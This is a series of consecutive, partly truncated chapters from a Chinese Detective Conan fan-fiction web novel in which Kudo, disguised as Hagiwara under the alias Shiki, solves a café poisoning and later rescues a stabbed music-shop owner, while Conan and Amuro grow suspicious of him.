“说到这个,死者的口腔里有苦杏仁的味道,我还在想是不是□□中毒呢,但□□的发作时间很快…我记得死者是刚坐下不久就吃了药的,这么一想,也许凶手是把毒药抹在了餐具上,又或者饮料里?” 听到这段话后,店里几人的表情变化都不太一样,倒是那边的安室透面露了然,显然是听出了这段话里的暗示。 “当然了,这都只是我的猜测,没有证据的支撑,算不上推理。”四季侦探扬着嘴角微微笑着补充道。 然而风衣男完全没有放松下来的感觉,和四季侦探比起来,他显得是那么色厉内荏:“开什么玩笑,哪有这么儿戏地就开始寻找凶手的?!你难道是在恐吓我们吗?” 显而易见,凶手是风衣男——换做工藤自己在这里,第一时间就会先亮出证据把对方抓捕归案,再看情况说推理过程。 只是考虑到现在他还在cos自家部下(田纳西威士忌版),再加上他赶时间,想要在警方来之前把案件解决掉的同时还能体现扮演对象的特质,这确实有点麻烦。 但不算棘手,工藤自觉自己可是从婴儿时期就跟着莎朗混片场、干妈亲妈都是演技帝的人,家学深厚,他的演技肯定过关。 不、不就是自称侦探的时候死去的羞耻记忆攻击了他吗……没关系,他可以的。 包括安室透在内,没人发现四季侦探的表情扭曲了一秒。 他决定把这种心情转嫁出去! 在他们眼中,那个黑发青年低头思考了片刻,也不知道决定了什么,就再度抬腿走向了风衣男,脚步没有丝毫迟疑。 风衣男忍住了后退的冲动,视线在半空慌乱地游移——不知道是不是因为对方那种‘好像知道了什么但就是不说’的态度,他心里比犯罪被抓到了还要恐惧,这种吊在半空的感觉实在难以忍受,也让他终于对这个奇怪的侦探产生了逃避的想法。 可是四季侦探的目标明确指向他,这显然不是他想逃避就能解决的。 恍惚间,他莫名觉得四季侦探靠近的脚步好像踩在了自己的心跳上,缓缓逼近的窒息感令人本能地想要逃离,他们无意间对上了视线。 四季侦探似乎对他笑了一下,是吗?可是那双弯起来的眼睛里分明不带一丝温度。 直觉在此时疯狂向他预警——被这个人抓住的话,搞不好真的会死的。 风衣男忍不住想:对方是不是早就发现他了?那前面质问另外两个人算是什么,玩弄他的心态吗?! 那大概是成功了,他深知自己现在真的心态崩了,控制不住地顺着对方的话去想了。 要是自首的话,判的会轻一点吧……?反正对方看起来完全是知道了的样子啊。 正如工藤和安室透已经知道的那样,风衣男提早把毒药藏在了死者平时餐前必定会吃的慢性胃炎的胶囊中,而胶囊在胃里融化也需 6. 六只萩原 《工藤警官无话可说》全本免费阅读 柯南来的时间其实还挺巧的。 警方因为一些事在路上被绊了一下,现在还没赶到,不过小侦探推门的时候刚巧凶手正哭着自首。 他虽然一脸懵,但勉强还是从凶手的哭声和地上的尸体中察觉到自己跟一起案件擦肩而过了,现在只赶上个尾巴。 老实说,在发现那个有酒名代号的可疑大哥哥居然也在店里,还和安室先生交流了起来的时候,柯南的心凉了一半,对那个田纳西的怀疑更上一层楼。 不过他很快就意识到安室先生好像也和对方不熟,这才稍微松了口气。 “啊,是之前公园里的那个孩子。”工藤循声看了过去,在看到满脸凝重的柯南时花了点功夫才忍住笑出来的冲动。 他一边往自己原本的座位走,一边兴致盎然地问:“好巧啊小柯南,你也来这里吃饭吗?” 工藤发誓,在他喊出柯南酱这个称呼后,店里反应最大的不是柯南本人,而是听到了熟悉称呼方式的安室透——虽然大人管小孩叫xx酱也很普遍,但他毕竟现在有一张萩原研二的脸,会让安室透更在意也很正常。 “……嗯!因为安室先生的手艺真的很棒嘛。”柯南僵硬地维持住笑脸,仰头回答了对方的问题。 这句话工藤也举双手赞同。 而那边正在警惕着凶手、防止对方突然反悔搞什么鱼死网破伤害到其他人的安室透,其实也偷偷竖起耳朵偷听那边的对话。 下一秒他就瞥到黑发青年心满意足地拿起了盘子里的三明治,万分虔诚地咬了一口。 安室透心中莫名产生了一个猜测:这家伙该不会不是为了避免指纹留在证物上,而是为了吃三明治才戴上手套拿药瓶的吧? 不知道是不是因为刚刚那段压根算不上推理的推理,还有对方期间的种种表现,安室透一时间竟然觉得这个无厘头的猜测非常有可能性。 …… 他嘴角抽了一下,决定还是眼不见心为静。 正站在工藤那张桌子对面的柯南反而由于对这人的性格没什么预料,此时正目瞪口呆——他没想到这个疑似组织成员的家伙居然能在案发现场就吃起来了,难道不会觉得奇怪吗?死者的尸体都还因为不能破坏现场而倒在地上啊! 作为同位体,工藤轻松地看出了柯南此刻的所想,可对于这个问题,他只能说这就是高中生和在职社畜的区别。 那他高中的时候也没想过自己未来会每天都奔波在案件现场啊,别说在尸体边上吃饭了,有时候能准点吃得上饭都是大喜事。 哪怕已经升职到警视了,他也还是因为资历太浅而经常需要带着部下出警,所以在这方面,早已习惯的工藤根本不挑,他一点也没觉得自己的举动有什么不对的……哪怕是萩原,入职一年多以后也都习惯了呢。 嘛,看在他终于吃到久违的三明治的份上。 工藤主动开口,给明里暗里都在关注自己的小侦探和安室透送了情报。 “确实很棒——而且总给我一种很熟悉的感觉。”黑发青年懒懒地靠在桌边,手中捏着一块没他手掌大的三明治。 他说话时垂着头,因此安室透没看见他的表情,海拔低的柯南却把他脸上的怀念和笑意看了个一清二楚。 柯南忽然愣住了,忍不住怀疑了一秒会不会是自己想多了,也许对方的代号真的只是一个巧合? 否则,那个黑衣组织的代号成员……真的会露出这样温柔到光是看着都让人想跟着一起嘴角上扬的表情吗? “四季哥哥有熟悉的人也会做这样的三明治吗?”柯南扒拉着桌子的边缘看过去,声音也下意识放轻了。 他有听到安室透喊对方しき(四季),想必这就是对方的姓氏了,只是不知道是哪两个汉字…… 说起来确实也是,之前工藤给他们看的名片上都是没有登记这个名字的,所以目前为止没人针对‘四季这个姓氏也太稀少了’这个问题发表意见,估计是都以为他的姓氏其实是‘志贵’之类的吧。 但凡知道写出来是四季,店里的一大一小绝对都会第一时间怀疑这是假名的。 “有啊。”被问到的人没有看柯南,而是抬头看向了那边的安室透,和对方暗中投来的目光对上。 “も……咳,小绿川的厨艺跟这位店员先生的不相上下哦。”他的口吻重新变得轻佻,再度令人捉摸不透他的想法,“可惜最近太忙了,都没什么机会吃到小绿川做的三明治,能在店员先生这里吃到熟悉的口味真是太好了呢。” 安室透的目光因为那个姓氏恍惚了一瞬间,尽管从表面上完全看不出来,但他的心里已经掀起了惊涛骇浪。 他的厨艺原本就是hiro、他已故的幼驯染诸伏景光手把手教的,而更‘巧合’的是,诸伏景光跟他一起卧底在组织时的假名正是绿川。 这个人怎么敢……在用萩原来试探他之后,还搬出了已经殉职多年的hiro? 再次感受到寒意的工藤也不再说什么来刺激安室透了,他在心里非常真诚地对这个世界的零道了歉。 如果没有那个莫名其妙的扮演任务,他是不会用这种方式来刷存在感的,现在做都做了,也只能在一切结束后想办法弥补对方了。 只是一想自己拉出来当靶子的所谓威士忌乐队里到底还有什么成员,工藤就在内心汗颜了。 糟糕,感觉会被安室先生手撕掉! 眼下他已经吃完了三明治,留下的最后理由也消失了,趁警方还没来,安室先生也还没气到要动手,他还是快溜吧。 工藤擦擦嘴后动作飞快地把该付的钱放到了吧台上,抄起帽子口罩墨镜戴好后就对室内的其他人挥了挥手,一副准备离开了的模样。 “诶…四季哥哥不留下来,等下一起去做笔录吗?”柯南惊讶地看着工藤,“这个案子明明是四季哥哥破掉的吧?” “什么?跟我没关系。”工藤故意露出讶异的表情,非常无辜地耸了耸肩,“我只是吃饭路过而已,顶多算目击者,现在连凶手都自首了,目击者还有其他店员,也没我什么事了吧?” “话也不是这么说的吧……”柯南条件反射无语地吐槽了一句。 “没办法啊,我已经提前跟人约好了。”工藤状似无奈地晃了晃手机,令柯南想起了公园里对方打的那通电话,“要是这次迟到了,我绝对会被他揍的…实在不行的话,拜托小柯南帮我跟警察们说一声,周末我再去警视厅一趟?” “那个人就是四季哥哥说的绿川吗?”柯南好奇地多问了一句。 “嗯?不是哦。” 工藤下意识在脑内把诸伏景光的脸替换成了松田阵平……然后打了个冷颤。 他发自内心地感慨:“那简直是鬼故事吧,那两个人的性格完全不一样的。我说的其实是我的幼驯染啦。” 工藤看上去心有戚戚,毫不掩饰地吐槽时却还是没忍住轻松地笑了起来:“那家伙之前看着我遇到了很危险的事情,所以再见面后就喜欢上了挑我的刺,我们花了一段时间才重新和好的……我现在可不想再惹他生气了。” 这段话工藤说的其实是自己和快斗,因此也格外真情实感,连共鸣都悄悄往前又爬了一点。 显然,萩原研二也不是很乐意惹松田阵平生气吧。 “好了好了,我先走啦~” “等等,我送一下四季先生吧。”那边的安室透忽然出声,从吧台后拿了个装好了的打包袋匆匆走来,“而且有些话想跟四季先生说说,可以吗?” 由于他提前跟榎本梓小声说过了,所以那边的小梓小姐看上去一点也不惊讶,倒是柯南有点犹豫。 也不知道安室先生要跟四季哥哥说什么……好在意啊! “这样。”工藤也不慌,他爽快点头,“那好啊。” 他也很好奇安室透要跟他说什么来着。 两人一前一后出了门,顺着街道走出一段距离后,安室透才站定了脚步。 “我看四季先生很喜欢我做的三明治的样子,如果不嫌弃的话,这些就送给四季先生了。”金发服务生把手里的打包袋递了过去,笑容清爽,“也谢谢四季先生这次帮忙破案了。” 工藤眨了眨眼,也不推脱地收下了三明治:“不客气?其实真的和我没什么关系,安室先生也看出犯人是谁了吧。” “哈哈,我没有那个能力啦。”安室透不好意思地笑了笑,随后像是不经意地说,“说起来,四季先生的乐队叫什么名字?” “嗳……” “【威士忌 7. 七只萩原 《工藤警官无话可说》全本免费阅读 “全是帅哥的乐队?”波洛咖啡厅内,正坐在吧台前跟好友聊天的毛利兰惊讶地看向铃木园子,“是说昨天碰到的那位四季先生吗?” 熟悉的——毕竟昨天刚听过——姓氏让原本有些昏昏欲睡的柯南和吧台后正洗着盘子的安室透都瞬间转移来了注意力。 “小兰姐姐,你们也遇到四季哥哥了吗?黑色头发个子很高的那个?”柯南略有点紧张地转头追问。 “‘也’……”铃木园子挑了下眉毛,“哦,听上去你这个小鬼也认识四季先生?” 她也没想等柯南给出什么回答,而是露出无所谓的表情,语气暗含兴奋地解释了起来:“总之,就是我和小兰昨天晚上回来的时候在一个路口遇到的超级大帅哥!那个时候他本来正好在街边弹吉他,突然有一个小偷抢了旁边一个大叔的钱包要跑……” “四季先生情急之下就用吉他把那个小偷扫翻了。”旁边的毛利兰接话说,看起来很无奈,“那个被抢劫的大叔是我以前学空手道的时候在比赛现场认识的人,所以我就跟他聊了几句,结果回去的时候就发现园子已经跟四季先生聊得火热了。” “哎呀,只是聊了几句乐器的事情啦,就是小兰你不在的时候我们自我介绍了一下。”大小姐摆了摆手,面露遗憾,“听四季先生说,他跟他的朋友组了一支乐队,可惜我们那个时候只遇到了四季先生一个人,帅哥的朋友肯定也是帅哥啊。” “问题不是这个吧。”毛利兰扶额,“园子,你原本要说什么来着?” “欸,我没说吗?”铃木园子单手捧脸,端起果汁豪迈地一口干完,“四季先生的吉他昨天不是因为帮忙的事情被弄断了一根弦嘛,他说备用弦没带过来,今天刚好打算去乐器店多买几条新的啦。然后看我很感兴趣,他就说我想学吉他的话可以一起去,赶得巧的话,说不定还能给我介绍一下他的队友。” 她把杯子拍在桌上,眼冒星星:“甚至如果运气好的话,能看到一整支乐队至少三个以上的帅哥呢!” 吧台后正在擦干杯子的安室透脸色有点微妙,他想起了昨天那个人对自己说的话。 ……你约人都是同一套话术的? “园子……京极先生不是快回国了吗?你昨天还说今天要我陪你挑礼物来着啊。”毛利兰更无奈了,提醒了好友一句。 “对呀对呀,我们一起去嘛。”铃木园子看起来更兴奋了,“我打算送阿真一把最帅的吉他——四季先生弹吉他的样子简直太帅了,跟安室先生不分上下!所以我更想看阿真弹的样子嘛~” “抱歉安室先生,我不是说你不帅啦,你也是超级大帅哥!”她给了吧台后的金发服务生一个坚定的眼神。 安室透假装没看到小侦探憋笑的表情,他泰然自若地放下杯子,仿佛不经意间想起了什么:“说到吉他,我的吉他之前在家里练的时候不小心被哈罗勾断了弦来着,本来打算下个周末再去买新的弦……” 抱歉了哈罗,回去给你做好吃的。 他从容地笑了笑,提议:“如果不介意的话,我可以跟园子小姐你们一起去吗?” “当然可以啊。”铃木园子的眼睛亮晶晶的,“安室先生也会弹吉他和贝斯来着吧?说不定你跟四季先生会很有共同话题,都是帅哥,他又还是他们乐队里的吉他手!” “是吗。”安室透的声音听起来像是在暗中磨牙,但又像是柯南听错了,“那我真的很想跟他再‘探讨’一下呢。” “我也要去!”黑发蓝眼的小侦探急了,他干脆跪在椅子上增加了高度,按着吧台的桌面直起身看向已经开始商量今天接下来行程的两个女孩,“我也要去嘛小兰姐姐——” “别闹,你又不弹吉他。”园子隔着小兰伸手,理直气壮地弹了一下他的额头。 “……我可以学!” 其实会。 但为了跟工藤新一的身份做出区分,柯南迟疑了一下就坚定地说。 “柯南很喜欢四季先生吗?”毛利兰困惑地看着他问道。 …… 倒也不能这么说。江户川柯南想着,抹了把脸。 他昨天本来就是因为四季路(他听安室先生介绍的全名)喊出了自己的名字而警惕起来的,结果在店里时居然被对方那个怀念伤感的模样忽悠得完全忘了问——所以到现在还不知道对方到底为什么知道他名字啊! 更别说还有那张……疑似安室先生已殉职同期的脸。 江户川柯南昨天压根都没敢问低气压的安室透更多问题,就揣着一肚子问号回了楼上,沉淀到今天,那些迷惑更让人抓心挠肝地想知道了。 况且还要加上那个暂时不知道真伪的酒名代号,在不知道那个人到底什么来头的情况下,江户川柯南还是觉得放任小兰她们和他接触实在太危险了。 同一时间,正背着吉他包往乐器店方向走的工藤见怪不怪地隔着口罩摸了摸鼻子。 有点痒,又是谁在背后聊到他了?这个时间的话,不是柯南就是安室先生吧。 他不太在意,继续在脑内忽悠系统。 【你说了我需要让他们感到震撼,对吧?那当然要细水长流了,一口气把我们的所有底牌都丢出去的话,只会让大家一下被震惊到麻木,但是后续很快就会缓过来的,根本没办法震撼到你想要的程度。】 系统看起来信了:【听上去好有道理!】 那当然有道理了,他以前忽悠001的时候也是这么说话的。工藤警官目移。 他简直要怀疑博士做AI的时候用的都是一套性格了,怎么001和007在形式作风上迥然不同,但性格是一模一样的傻白甜啊。 比方说,系统到现在还以为昨天工藤在离开波洛后立马拎着吉他去街上是在卖艺挣钱…… 工藤实在不忍告诉它,其实他是提前调查过了,知道园子和小兰会从那边经过,才过去碰碰运气的。要是遇到她们,正好可以接下去演,或者简单刷个存在感也不错,要是没有,他就当温习吉他技术了。 所以他才特地拿的是换了轻弦的吉他,虽然都是钢弦,但轻弦细,总比重弦更容易断嘛。 【而且我真的只是在表演萩原,只是平行世界嘛,你看,我还是警察呢,那萩原和你印象里有区别不是也很正常吗?】工藤继续诱引道,【连美强惨都可以的话,稍微奇怪一点的萩原也可以吧。】 系统:【……好像也是? 8. 八只萩原 《工藤警官无话可说》全本免费阅读 因为提前做过了准备,工藤到店里的时候看上去非常熟稔地跟老板打了声招呼——他昨天在街边弹的那把吉他是和系统签订契约前就在这里买了的,那个时候系统还以为他打算上街弹唱卖艺,差点被吓得解绑逃跑。 ……没必要吧,太夸张了!他唱歌只是有点难听而已——而且他明明觉得唱得很不错啊——又不会唱死人,跑什么跑! “哎呀,小四季?你来啦!”原本正对着电脑反光给脸侧的樱粉色头发编辫子的美树本萌看到来人后,顿时喜笑颜开,“看,你上次教我的编发~我学得怎么样?” 她的头发很短,晃了下脑袋后发辫也跟着摇晃了两下,看上去非常可爱。 “果然很适合小美树哦。”工藤动作自然地一路走到离前台不远的工作台边上放下吉他,随后转向前台认真端详了两秒后,轻松地笑着夸奖道,“下次教你一个也很帅气的怎么样?” “那就太感谢啦。”美树本萌从台后起身走了出来,闻言笑着调侃了一句,“不过小四季也还在单身中吧?难道这些编发技巧是提前为了未来的女朋友准备的吗?” 这位染了少女心十足发色的小巧女性就是这家乐器行的老板,美树本萌。虽然有一个这么可爱的名字,也长着一张欺骗性很高的娃娃脸,但美树小姐今年其实已经三十多岁了,并且擅长多种乐器,最擅长的是爵士鼓。 一直很尊重女性的工藤拥有丰富的应对年长女性的经验——主要是被自家老妈和幼驯染妈妈以及自家干妈练出来的,再加上和萩原共鸣后的那种习惯成自然,虽然才跟美树小姐认识几天,他们的关系已经非常融洽了,偶尔也能像这样开两句玩笑。 ……所以单身到二十六岁的工藤警官早已熟悉了这种问题。 即便如此,他还是忍不住清了清嗓子,用萩原的语气从容中带着些许无奈地回答:“我也可以给自己编发呀小美树……喏,我的头发可比你还长了,不借机学点技巧不是很浪费吗?” “我倒是很想看看你把头发编成那种爱心辫子的模样。”美树小姐遗憾感慨,此时她已经走到了工作台边上,便不再继续前面的闲聊,而是问,“这就是你昨天说的问题吧?噢……我怎么记得这把琴我上的不是细弦,你自己换过了?” 工藤那次在这里买了把民谣吉他和一把电吉他,毕竟手感不同,他打算都试试看在判断那把更适合萩原的形象。当初萩原他们组乐队的事情他就知道一点,所以并不清楚萩原用的是什么也正常。 此时此刻面对美树小姐的问题,工藤额冒冷汗,顾左右而言他:“这个…对啊,因为昨天弹的曲子更适合轻弦……” 然而就在此时,乐器行的门再度被推开,从外面走进来的一行人正是园子她们。跟领头的铃木园子对上视线后,被园子这个青梅从小坑到大的工藤顿感不妙,他几乎都能预判到园子要说什么了。 “等——” “看!那个就是昨天用吉他揍翻了抢劫犯的四季先生哦,跟你们认识的也是一个人吧?” 园子的话音落下后,第一个接腔的并不是工藤,也不是跟她来的任何一个人。 “用吉他揍翻了抢劫犯?”旁边原本正在保养那把吉他的美树本萌幽幽出声,手里的琴搁在桌面上,发出瘆人的声音,“欸,这么厉害啊小四季……” 工藤惊恐地后退了半步:“等、等等,你听我解释啊小美树!” 他刚刚有一瞬间在美树本萌身上看到了被喊老后的妈妈的剪影啊!? 粉头发的店老板哼了一声:“那你解释。” 工藤知道美树本萌年轻的时候也是组过一支乐队的,所以当时他跟她说自己是乐队里的吉他手时对方的好感才会一见面就提高那么多,也因此,美树本萌很讨厌不好好爱护自己乐器的家伙。 “我平时都有好好保养的,那天只是意外。”工藤心虚苦恼地说,“我也不知道会有抢劫犯正好在啊,手上又只有我的吉他,一顺手不就……咳。” 其实他本来是打算自己‘不小心’把弦弹断的,遇到的抢劫犯反而是天也助他。 美树本萌盯了他两秒,也就大发慈悲地放过了他:“既然你都这么说了——下次要是再用吉他揍人,我就用你的吉他揍你哦?” 也就是他们关系不错才能这么直白地开玩笑,工藤也知道这点,配合地咳嗽两声举手发誓:“我发誓没有下次了!” 但该说不说,吉他的构造揍起人来还真的很顺手,抓着琴颈就可以抡——呃,好吧,还是算了。 “行了,你那套弦我放柜子里了,等我去拿一下。”老板冷酷无情地转头就走,“招待你的客人吧,可以先用爱理放在那里的吉他,我跟她打过招呼了。” 美树小姐离开后,门边的一行人才重新有了动静,铃木园子抱歉地看着工藤,靠近后小声道歉:“对不起啊四季先生,害你被骂了……” “嗯?”黑发青年笑着摆摆手,“没有啦,别看小美树那么凶的样子,其实她很温柔的哦,刚刚只是跟我开个玩笑。” 他眨了下眼睛:“悄悄告诉你们,小美树是个技术一流的鼓手哦——我记得小园子你昨天说自己其实也想学敲鼓?” 短发少女的眼睛噌地亮了。 “而且听说小美树昨天领养了一只猫,一楼都是乐器,所以猫暂时养在了楼上,她打算今晚就带回家里噢。”工藤悠悠说道,“说不定跟她拉近关系的话,小美树会同意让你们和她的布偶猫玩一会儿?” 这下旁边的毛利兰眼睛也亮了。 站在她们后面的一大一小并不是很吃工藤这套,看着他的表情都有点古怪,但和柯南不同的是,安室透还有点恍惚,他不由自主地看着那张脸回忆起了曾经警校里的事情。 哈啊,说起来,当年教官是不是还评价过萩原‘只有在对象为女性时才使用他那超强的洞察力’…… 温暖的记忆让他忍不住翘了下嘴角,却正好对上了对面那人的视线。 安室透下意识警觉了起来,嘴角的弧度也重新抿直了。 但出乎他意料的是,昨天一直在用各种方式‘挑衅’他的四季侦探这次却只是愣了一下,然后毫不吝啬地对他也扬起了一个灿烂的笑脸。 ——一如他刚在记忆里见过的萩原研二。 安室透攥紧了口袋里的拳头。 柯南因为海拔过低完全错过了两个大人之间的眼神交流,他正在心里因为四季侦探轻松调起了两个女孩的好心情、还跟小兰她们聊得那么开心的事情感到微妙的不爽呢。 “对了,昨天在line上听小美树说,她领养的那只布偶猫好像很喜欢小孩子。” 工藤哪里看不出自己的同位体在想什么,他一边在心里暗爽一边却还是正色后这么建议道:“所以你们可以带着小柯南一起去,说不定会更容易被猫咪接受呢。” 他曾经被‘江户川柯南’给坑过,能小小报复回来当然很爽,不过自己的同位体,还是不要欺负太过了。 工藤惆怅地想:毕竟他当柯南的时候就很不喜欢被周围的‘大人’敷衍来着。 在这一点上两人感同身受了。 就在听信了这句话的两个女孩又愉快地跟工藤聊了一会儿后,美树本萌还没回来,乐器行的门先一步从外拉开了。 “小萌——”率先进来的是一个披着波浪卷的黑发美女,她没有在店里看到自己想 9. 九只萩原 《工藤警官无话可说》全本免费阅读 “嗯……” 目暮十三摸了摸肚子,站在案发现场沉吟片刻后四处张望:“既然柯南在这里,毛利呢?” 柯南嘴角一抽:“目暮警官,我是跟小兰姐姐一起来的,叔叔不在啦。” 真是的,怎么现在目暮警官一上来就找叔叔了,真把叔叔当死神吗! 目暮十三:“……哈哈,我想也是,毕竟这次还没有死者来着。” 他开玩笑地松了口气。 “啊,得感谢四季哥哥提前发现了不对、才顺利救下了美树小姐吧。”柯南说着,看向了那边正跟另外两个嫌疑人分别接受询问的四季侦探,“不然只要再迟一会儿……” 哪怕那时再喊来救护车,美树本萌也会因为失血过多而死的。 “确实。”目暮十三赞同点头,随后皱起眉,“不过这么一想的话,凶手还真是狠毒啊。” 美树本萌被发现时,除去后脑勺被敲击的痕迹以外,身上没有搏斗的痕迹,不过她看起来不是在被砸的时候失去意识的,现场有挣扎的情况,很可能她看到了凶手的样子。 根据现场复原情况来看,凶手在她倒下后还在她的后背补了一刀,那才是令她在疼痛下失去意识的罪魁祸首。 虽然这一刀没有刺中大动脉,可但凡没有人像提前发现她的四季侦探那样及时止血急救,美树本萌最后依旧会在距离乐器行正厅只有十多米的仓库里失血过多而亡。 柯南端着下巴,认真分析:“这么说,美树小姐有什么仇人吗?” “那个美树会有仇人?怎么可能啦。”已经初步问完话的三个嫌疑人被带到了这边,出声的是名为石河桂的栗发男性,他说话时嘴唇上的唇钉被灯光照得一闪一闪,“就她那个烂好人,哪里会和别人结仇嘛。” 旁边的浅间爱理双手抱胸,也赞同地点头:“就是说啊,小萌平时都很少会跟别人吵架的,除了她在意的乐器的事情以外,小萌这人超好说话,哪来什么仇人。” 目暮十三一边听他们说话一边翻着刚刚的询问记录,看着看着就皱起了眉。 “石河先生,你说你今天本来没有到乐器行找美树小姐的计划的,为什么最后又来了呢?” “哦,那个啊。”石河桂回忆了一下,“美树说自己领养了只猫,想让我多传授她点经验来着,你们可以看我们的聊天记录,的确是她邀请我过来的。” “石河先生养了猫吗?” “大概还养了不止一只猫。”江户川柯南下意识开口,他仔细端详着石河桂的衣服,“目暮警官你看,石河先生的袖口、裤腿还有衣摆上都沾着猫毛,并且从花色上来看,起码就有两到三只……” “准确来说是五只猫。”石河桂诧异地回答后,满脸奇怪地看着这个出现在案发现场的小男孩,“警官,这个小弟弟为什么会在这里啊?” 美树本萌被救护车送走的时候两个女孩在四季侦探的拜托下陪同了过去,按理说她们本来也应该带走柯南的,毕竟总不能放任一个小学生在案发现场呆着,得照顾照顾小朋友的心理健康。 目暮十三面不改色,他早都习惯柯南在案发现场窜来窜去了,毛利家里养的这个孩子心理承受能力要多强有多强,有时候高木这个在职警察都受不了的案发现场,柯南依旧可以埋头苦思呢。 目暮十三坚定地认为,这孩子长大了一定是第二个工藤新一。 “咳,柯南是……”他稍微思索了一下该怎么解释,就听见那边的黑发青年主动开口了。 “——名侦探毛利小五郎的侦探小助手,对吧?”除了最开始发现美树小姐遇害的那段时间里,工藤的表情比较严肃,后面他都刻意恢复了平静,说这话时脸上微微带着笑,“这可是个很聪明的小朋友,说不定能发现重要的线索呢。” 江户川柯南一噎,一时间分不出来这句话里到底有没有别的含义。 怎么回事,为什么突然点他一下?难道是发现他不对劲了? 刚刚还沉浸在了推理中的小侦探瞬间清醒,他干笑着后退了一步:“其、其实也没那么厉害啦哈哈。” 安室先生,你去哪了…… 江户川柯南此时心心念念的安室先生……实不相瞒,他压根没空管案发现场的事情。 安室透正在乐器行后门的巷子里跟某个跟昨天的工藤一样全副武装的人会面。 “……你这是什么打扮,风见。”安室透一打眼就无语了,“我让你注意隐蔽,你就是这么隐蔽的?” 这样走在街上只会更引人注目吧! “报告降、安室先生!”风见一听他的这个语气就下意识浑身一激灵,仿佛全身都重温了一遍被魔鬼上司操练的酸痛,他立马站直挺胸,然后老老实实地解释,“这些是过来的路上我在不同的时间去不同的店里买的,伪装效果其实意外的还不错…” 安室透感到了困惑,但他没继续这个话题,而是回到了自己最初想说的事情上。 “我需要你帮我收集一个人的资料,越详细越准确越好。”安室透沉声说,顺便递过去一个U盘,“那个人自称叫做四季路,跟其他人组了一支乐队,更具体的信息在这里,调查期间注意隐蔽身份,最好不要动用公安的资源,所以时间上我不做要求……能做到吗?” 本来公安的效率也就低得令人发指,安室透压根没指望短期内得到信息,要不是昨天组织方面忽然给了他一个新任务,他现在抽不出空去仔细调查对方,否则事关萩原,他绝对不会把调查的事情假手他人的。 不过放在风见眼里,这就是安室透信任他的表现…他根本不可能对此说不! 和这边的气氛不同,案发现场的氛围实在有点微妙。 事情还得从工藤出声帮柯南解了个围、顺便又逗了他一下的时候说起。 今天来美树本萌的店里,工藤并没有和昨天一样三件套齐全,一方面是他昨晚连夜通宵补完了四季路这个身份资料里粗糙的地方,按照警视厅这种效率和水平,起码短时间内只要公安不下定决心深深彻查,那还是不会查处他的问题的。 另一方面,他也考虑到了年龄问题。 这个世界的萩原研二是七年前去世的,去世时正好是二十二岁,而他现在扮演的自家部下是二十三岁的版本,虽然只差了一岁,但刑警和排爆警察之间的差别也在这一岁里体现在了脸上,表现出来就是,他看着会比真正的二十二岁萩原研二更成熟。 这种区别对熟悉萩原研二的人来说当然不是很重要,他们依旧能认出他……但还是那句话。 他已经殉职七年了。 说句不好听的,搜查一课的人恐怕只有佐藤美和子、高木涉还有目暮十三这几个人对‘萩原研二’的存在有印象,但对他们来说,‘萩原研二’是他们认识的人的朋友,关系隔得足够远,他的脸当然不可能在他们脑海中留下多么深刻的印象。 跟执着的安室透不同,哪怕他们发现了他有一张萩原研二的脸,也最多是多查查他的身份,而现在他把身份的漏洞都补上了,自然也不需要再多在意这个了。 总之,由于工藤还是稍微修饰过自己的发型的,所以案发到了现在,目暮警官等人也都没有对他多说什么,工藤稍微发散了一下思维,一时间竟觉得‘这个世界上大众脸太多了’可能才是真正的答案。 只是这不代表他就不是嫌疑人了。 “那么石河先生暂且不论,浅间小姐和四季先生……”目暮警官沉吟一会儿后问,“我看浅间小姐说自己是在路上偶遇了要来这里的石河先生,才临时起意跟着一起来聚个会的,四季 10. 十只萩原 《工藤警官无话可说》全本免费阅读 “美、美树还活着?” 原本正在跟浅间爱理争吵的石河桂愣了一下,他的目光堪称呆滞地看向说出这句话的四季侦探:“那你们为什么……” “什么?”黑发青年依旧悠哉地蹲在柯南身边,反问道,“警方是来调查这起杀人未遂的案件的,询问嫌疑人是必要流程,不对吗?” 他在那两人的注视下假装反应了一下,几秒后才做出后知后觉的模样,捧着脸笑盈盈地看过去:“石河先生是在问我为什么现在才说?” 当时他踹门的动静很大,外面的几人都听到了,并且在第一时间就赶了过来,不过他们来的时候就只看到地上的血、两眼紧闭脸色惨白的美树小姐和背对着门口不知道在做什么(其实是在急救)的四季路。 由于浅间爱理两人的速度慢了一步,再加上预料不妙的安室透及时阻止了他们这两个嫌疑人靠近美树小姐,导致这两人到现在都还以为美树小姐当时已经死了——倒不如说,在米花町发现了一个倒在地上不省人事还浑身是血的人,谁都会觉得那已经死了吧! 至于跟着救护车离开了的两个女孩,他们当时在被警方问话,所以只以为那两个女孩是被警方带到外面去休息了。 还是那句话,两个普通的高中女生没有出现在案发现场才是正常的事情,他们怎么可能会因为她们俩不在就想到别的地方啊? 那边,四季路看起来像是在思考。 “因为两位都以为小美树死掉了以后的表情很有意思啊。”他当着一屋子警察和身边某个小侦探的面非常坦然地说,“比如石河先生你的心里对她的‘死亡’充满了愧疚,你是不是认为,是自己害她死掉了……为什么你会这么想呢?” 石河桂后退了一步,脸上显出了愕然。 老实讲,这种心理防线脆弱、很容易被击破的类型是办案现场的刑警们最想遇到的情况之一,因为真的很好从他们的各种反应里得出结论,甚至都不需要他们说太多‘不该说的话’。 工藤想。 他说话的同时,另一只手背到身后悄悄捏了一下旁边欲言又止的江户川柯南的手腕。 小侦探被捏得一个激灵,但他好歹也因为这一举动飞快猜到了身边的人到底在干嘛,随后眼睛一转,忽然语气好奇地向两个嫌疑人问:“说起来,可以再仔细说一下吗,浅间小姐,你说石河先生和美树小姐吵架被你听见的事情。” 浅间爱理看起来觉得这没什么不好说的,跟知道美树本萌没死后就慌张起来的石河桂不同,她脸上看不出半点紧张来:“噢,当然可以。” 大概一个月前,他们三人在某个KTV小聚了一场,大家都是搞音乐的,也都擅长唱歌,所以一开始玩得还是很尽兴的。直到浅间爱理发觉自己的妆有点热花了,跑去洗手间补完回来时,就在没关上的包厢门口听到了里面两人的争执声。 出于担心,浅间爱理在门口驻足听了一会儿,然而她回来的时候争执已经到了结尾,她正好听到了美树本萌质问对方的话语。 “那个时候你到底对伢子说了什么?” 上原伢子和浅间爱理其实是从小一起长大的幼驯染,这件事只有美树本萌知道,石河桂对此一无所知。 那个已经埋在了记忆深处的名字被唤出,浅间爱理推门的手僵了一下,而后,她又听到了石河桂的回答:“我说的又没错,她的技术本来就很烂啊!谁知道上原那家伙这么不禁说,我只是说说实话,她就承受不住了…这又关我什么事?” 如果回忆仅仅是到这里,浅间爱理在叙述的时候也许不会露出那种难以言说的表情。 案发现场,她捏紧了拳头:“说完那么混账的话以后,你居然还敢对小萌亲口承认——” “承认你对伢子说过‘弹得这么烂不如去死好了’!” 